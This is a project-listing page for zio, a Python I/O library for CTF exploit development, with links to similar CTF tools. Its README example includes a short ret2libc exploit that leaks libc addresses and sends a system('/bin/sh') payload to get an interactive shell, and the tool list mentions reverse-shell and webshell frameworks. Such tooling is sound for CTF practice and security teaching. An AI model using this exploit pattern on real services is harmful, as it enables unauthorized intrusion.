All Projects → zTrix → Zio

zTrix / Zio

Licence: other
unified io lib for pwning development written in python

Programming Languages

python
139335 projects - #7 most used programming language

Labels

Projects that are alternatives of or similar to Zio

TomatoTools
TomatoTools 一款CTF杂项利器,支持36种常见编码和密码算法的加密和解密,31种密文的分析和识别,支持自动提取flag,自定义插件等。
Stars: ✭ 66 (-81.3%)
Mutual labels:  ctf-tools
YAPS
Yet Another PHP Shell - The most complete PHP reverse shell
Stars: ✭ 35 (-90.08%)
Mutual labels:  ctf-tools
Ctftools
Personal CTF Toolkit
Stars: ✭ 312 (-11.61%)
Mutual labels:  ctf-tools
BerylEnigma
一个为渗透测试与CTF而制作的工具集,主要实现一些加解密的功能。
Stars: ✭ 329 (-6.8%)
Mutual labels:  ctf-tools
revshfuzz
A tool for fuzzing for ports that allow outgoing connections
Stars: ✭ 18 (-94.9%)
Mutual labels:  ctf-tools
CTF-Game
Capture the flag Game
Stars: ✭ 14 (-96.03%)
Mutual labels:  ctf-tools
ImageStrike
ImageStrike是一款用于CTF中图片隐写的综合利用工具
Stars: ✭ 118 (-66.57%)
Mutual labels:  ctf-tools
Enum4linux Ng
A next generation version of enum4linux (a Windows/Samba enumeration tool) with additional features like JSON/YAML export. Aimed for security professionals and CTF players.
Stars: ✭ 349 (-1.13%)
Mutual labels:  ctf-tools
blackhat-python
Black Hat Python workshop for Disobey 2019
Stars: ✭ 27 (-92.35%)
Mutual labels:  ctf-tools
Ctf Notes
Everything needed for doing CTFs
Stars: ✭ 304 (-13.88%)
Mutual labels:  ctf-tools
bento
Bento Toolkit is a minimal fedora-based container for penetration tests and CTF with the sweet addition of GUI applications.
Stars: ✭ 74 (-79.04%)
Mutual labels:  ctf-tools
pwnscripts
Very simple script(s) to hasten binary exploit creation
Stars: ✭ 66 (-81.3%)
Mutual labels:  ctf-tools
soma
Cross-platform CTF problem container manager
Stars: ✭ 23 (-93.48%)
Mutual labels:  ctf-tools
Nightingale
It's a Docker Environment for pentesting which having all the required tool for VAPT.
Stars: ✭ 119 (-66.29%)
Mutual labels:  ctf-tools
Offensive Docker
Offensive Docker is an image with the more used offensive tools to create an environment easily and quickly to launch assessment to the targets.
Stars: ✭ 328 (-7.08%)
Mutual labels:  ctf-tools
ctf4noobs
Resumão da massa sobre Capture the Flag.
Stars: ✭ 18 (-94.9%)
Mutual labels:  ctf-tools
Crypto
封装多种CTF和平时常见加密及编码C#类库
Stars: ✭ 20 (-94.33%)
Mutual labels:  ctf-tools
Ctf Rsa Tool
a little tool help CTFer solve RSA problem
Stars: ✭ 350 (-0.85%)
Mutual labels:  ctf-tools
Cgpwn
A lightweight VM for hardware hacking, RE (fuzzing, symEx, exploiting etc) and wargaming tasks
Stars: ✭ 345 (-2.27%)
Mutual labels:  ctf-tools
Awd Predator Framework
AWD攻防赛webshell批量利用框架
Stars: ✭ 265 (-24.93%)
Mutual labels:  ctf-tools

zio

Build Status support-version

zio is an easy-to-use io library for pwning development, supporting an unified interface for local process pwning and TCP socket io.

The primary goal of zio is to provide unified io interface between process stdin/stdout and TCP socket io. So when you have done local pwning development, you only need to change the io target to pwn the remote server.

The following code illustrate the basic idea.

from zio import *

is_local = True

if is_local:
    io = zio('./buggy-server')            # used for local pwning development
else:
    io = zio(('1.2.3.4', 1337))           # used to exploit remote service

io.read_until(b'Welcome Banner')
io.write(your_awesome_ropchain_or_shellcode)
# hey, we got an interactive shell!
io.interact()

Advantage

  • Self contained single file installation, no extra dependency required. Copy it as you go and fire with no pain even without internet access.
  • Support both python2 and python3, no need to worry about the python version installed on some weired jump server provided by unknown.
  • Easy to learn and use.

If you want advanced features such as ELF parsing and more, try pwntools.

License

zio use SATA License (Star And Thank Author License), so you have to star this project before using. Read the license carefully.

Working Environment

  • Linux or OSX
  • Python 2.6, 2.7, 3.x

for windows support, a minimal version(socket-io only) mini_zio is provided.

Installation

This is a single-file project so in most cases you can just download zio.py and start using.

pip is also supported, so you can also install by running

$ pip install zio

Examples

from zio import *

is_local = True

if is_local:
    io = zio('./buggy-server')
else:
    io = zio((pwn.server, 1337))

for i in range(1337):
    io.writeline(b'add ' + str(i))
    io.read_until(b'>>')

io.write(b"add TFpdp1gL4Qu4aVCHUF6AY5Gs7WKCoTYzPv49QSa\ninfo " + b"A" * 49 + b"\nshow\n")
io.read_until(b'A' * 49)
libc_base = l32(io.read(4)) - 0x1a9960
libc_system = libc_base + 0x3ea70
libc_binsh = libc_base + 0x15fcbf
payload = b'A' * 64 + l32(libc_system) + b'JJJJ' + l32(libc_binsh)
io.write(b'info ' + payload + b"\nshow\nexit\n")
io.read_until(b">>")
# We've got a shell;-)
io.interact()

Document

bytes vs unicode

zio works at bytes level. All params and return value should be bytes. (Although some methods support unicode for compatibility and fault tolerance)

The recommended practice is to use b'xxx' everywhere, which is supported by both python2 and python3 without ambiguity.

about line break and carriage return

Just don't read b'\n' or b'\r', use read_line() instead

Play with cmdline

Act like netcat

$ printf 'GET / HTTP/1.0\r\n\r\n' | ./zio.py baidu.com 80

Unhex

$ echo '3334350a' | ./zio.py -d unhex -w none -r none -i pipe -o pipe --show-input=0 cat
345

hexcat some file

$ cat somefile | ./zio.py -e hex -w none -r none -i pipe -o pipe --show-input=0 cat

show file in string repr

$ cat somefile | ./zio.py -e repr -w none -r none -i pipe -o pipe --show-input=0 cat

log vim key sequences and underlying io

$ zio --debug=zio.log vim

Other fun usage

Talk with vim using code.

In [1]: from zio import *

In [2]: io = zio('vim', stdin=TTY, stdout=TTY)

In [3]: io.writeline(b'ihello world')
ihello world
Out[3]: 13

In [4]: io.writeline(b'\x1b:w hand_crafted_vim_file.txt')
w hand_crafted_vim_file.txt
Out[4]: 30

In [5]: io.writeline(b':q')
:q
Out[5]: 3

In [6]: io.exit_status()
Out[6]: 0

In [7]: !cat hand_crafted_vim_file.txt
hello world

You can even talk with vim for prefix and then interact by hand to continue normal action.

Thanks (Also references)

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].